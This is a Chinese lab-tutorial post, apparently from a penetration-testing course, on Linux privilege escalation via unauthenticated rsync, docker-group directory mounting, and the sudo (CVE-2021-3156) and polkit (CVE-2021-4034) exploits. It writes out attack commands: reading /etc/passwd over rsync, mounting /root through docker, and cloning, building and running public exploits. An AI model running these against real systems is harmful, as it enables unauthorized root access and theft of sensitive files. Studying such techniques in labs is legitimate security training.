第105天:权限提升-Linux 系统Docker 挂载Rsync 未授权Sudo-CVEPolkitCVE

本文主要是介绍第105天:权限提升-Linux 系统Docker 挂载Rsync 未授权Sudo-CVEPolkitCVE,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

思维导图

案例一:  Linux-Rsync 未授权访问覆盖-本地

案例二:  Linux-Docker 组用户挂载目录-本地

案例三:  Linux-Sudo(CVE-2021-3156)-本地

案例四:Linux-Polkit(CVE-2021-4034)-本地


思维导图

 

案例一:  Linux-Rsync 未授权访问覆盖-本地

rsync 文件传输协议-linux  端口873

配置不当会造成未授权访问。没有配置ACL或者访问密码,可以读取目标服务器文件

靶场环境:

访问端口

 判断是否有该漏洞的方法:

rsync rsync://123.58.224.8:58515

利用读取文件

rsync rsync://123.58.224.8:58515/src

下载文件  ./ 为当前目录

rsync rsync://123.58.224.8:58515/src/etc/passwd ./

 上传文件

rsync -av passwd rsync://123.58.224.8:58515/src/tmp/passwd

 利用他去反弹shell的思路:利用计时任务

这里由于该靶场为在线靶场,有时间限制,且必须利用公网ip反弹shell,这里利用下面的网址,搭建在线靶场:Vulhub - Docker-Compose file for vulnerability environment

首先把计时任务保存到本地

查看可利用的文件

 必须加执行权限

 把脚本进行上传

 开启监听等待

刚好反弹shell

案例二:  Linux-Docker 组用户挂载目录-本地

首先条件:普通用户在docker组,利用docker服务启动镜像挂载目录
从而来访问root目录、etc目录等敏感文件来进行权限提升。

​环境搭建

useradd -d /home/test -m test  (创建test用户)
passwd test    (修改密码)
usermod -G docker test  (把test用户加入到docker组当中)

利用命令

docker run -v /root:/mnt -it alpine

docker下载alpine镜像,然后利用-v选项把/root目录挂载到docker里面的/mnt目录,-it进入docker,进去以后他会默认你是root用户,你可以去查看/mnt下里面/root的敏感文件

这里我提权拉取了一次所以没有下载过程

root目录直接挂载到了/mnt目录下获得了敏感信息的窃取

不仅可以调用/root,也可以调用其他目录,因为docker命令需要执行下载,等等操作,在这个过程当中本身就是root权限,所以所有目录都可以

案例三:  Linux-Sudo(CVE-2021-3156)-本地

影响版本

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

这台机器正好符合

或者利用   sudoedit -s /  去查看如果有报错那证明有漏洞,没报错证明没有

有漏洞的报错

没有漏洞的报错

可能用到的代码

git clone https://github.com/blasty/CVE-2021-3156.git  #下载
cd CVE-2021-3156
make    #编译
chmod a+x sudo-hax-me-a-sandwich #加执行权限
./sudo-hax-me-a-sandwich 1   #后面的数字1是选择模式

 执行效果

案例四:Linux-Polkit(CVE-2021-4034)-本地

漏洞影响2009年5月至今的所有polkit版本
由于polkit是系统预装工具,所有存在polkit的linux系统均受影响
如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等

判断

dpkg -l policykit-1

如果是这种信息的话那证明可能可以利用

git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034

这篇关于第105天:权限提升-Linux 系统Docker 挂载Rsync 未授权Sudo-CVEPolkitCVE的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1061215

相关文章

Linux使用nload监控网络流量的方法

《Linux使用nload监控网络流量的方法》Linux中的nload命令是一个用于实时监控网络流量的工具,它提供了传入和传出流量的可视化表示,帮助用户一目了然地了解网络活动,本文给大家介绍了Linu... 目录简介安装示例用法基础用法指定网络接口限制显示特定流量类型指定刷新率设置流量速率的显示单位监控多个

ElasticSearch+Kibana通过Docker部署到Linux服务器中操作方法

《ElasticSearch+Kibana通过Docker部署到Linux服务器中操作方法》本文介绍了Elasticsearch的基本概念,包括文档和字段、索引和映射,还详细描述了如何通过Docker... 目录1、ElasticSearch概念2、ElasticSearch、Kibana和IK分词器部署

Linux流媒体服务器部署流程

《Linux流媒体服务器部署流程》文章详细介绍了流媒体服务器的部署步骤,包括更新系统、安装依赖组件、编译安装Nginx和RTMP模块、配置Nginx和FFmpeg,以及测试流媒体服务器的搭建... 目录流媒体服务器部署部署安装1.更新系统2.安装依赖组件3.解压4.编译安装(添加RTMP和openssl模块

Android 悬浮窗开发示例((动态权限请求 | 前台服务和通知 | 悬浮窗创建 )

《Android悬浮窗开发示例((动态权限请求|前台服务和通知|悬浮窗创建)》本文介绍了Android悬浮窗的实现效果,包括动态权限请求、前台服务和通知的使用,悬浮窗权限需要动态申请并引导... 目录一、悬浮窗 动态权限请求1、动态请求权限2、悬浮窗权限说明3、检查动态权限4、申请动态权限5、权限设置完毕后

linux下多个硬盘划分到同一挂载点问题

《linux下多个硬盘划分到同一挂载点问题》在Linux系统中,将多个硬盘划分到同一挂载点需要通过逻辑卷管理(LVM)来实现,首先,需要将物理存储设备(如硬盘分区)创建为物理卷,然后,将这些物理卷组成... 目录linux下多个硬盘划分到同一挂载点需要明确的几个概念硬盘插上默认的是非lvm总结Linux下多

在不同系统间迁移Python程序的方法与教程

《在不同系统间迁移Python程序的方法与教程》本文介绍了几种将Windows上编写的Python程序迁移到Linux服务器上的方法,包括使用虚拟环境和依赖冻结、容器化技术(如Docker)、使用An... 目录使用虚拟环境和依赖冻结1. 创建虚拟环境2. 冻结依赖使用容器化技术(如 docker)1. 创

浅析如何使用Swagger生成带权限控制的API文档

《浅析如何使用Swagger生成带权限控制的API文档》当涉及到权限控制时,如何生成既安全又详细的API文档就成了一个关键问题,所以这篇文章小编就来和大家好好聊聊如何用Swagger来生成带有... 目录准备工作配置 Swagger权限控制给 API 加上权限注解查看文档注意事项在咱们的开发工作里,API

docker如何删除悬空镜像

《docker如何删除悬空镜像》文章介绍了如何使用Docker命令删除悬空镜像,以提高服务器空间利用率,通过使用dockerimage命令结合filter和awk工具,可以过滤出没有Tag的镜像,并将... 目录docChina编程ker删除悬空镜像前言悬空镜像docker官方提供的方式自定义方式总结docker

linux进程D状态的解决思路分享

《linux进程D状态的解决思路分享》在Linux系统中,进程在内核模式下等待I/O完成时会进入不间断睡眠状态(D状态),这种状态下,进程无法通过普通方式被杀死,本文通过实验模拟了这种状态,并分析了如... 目录1. 问题描述2. 问题分析3. 实验模拟3.1 使用losetup创建一个卷作为pv的磁盘3.

CentOS系统Maven安装教程分享

《CentOS系统Maven安装教程分享》本文介绍了如何在CentOS系统中安装Maven,并提供了一个简单的实际应用案例,安装Maven需要先安装Java和设置环境变量,Maven可以自动管理项目的... 目录准备工作下载并安装Maven常见问题及解决方法实际应用案例总结Maven是一个流行的项目管理工具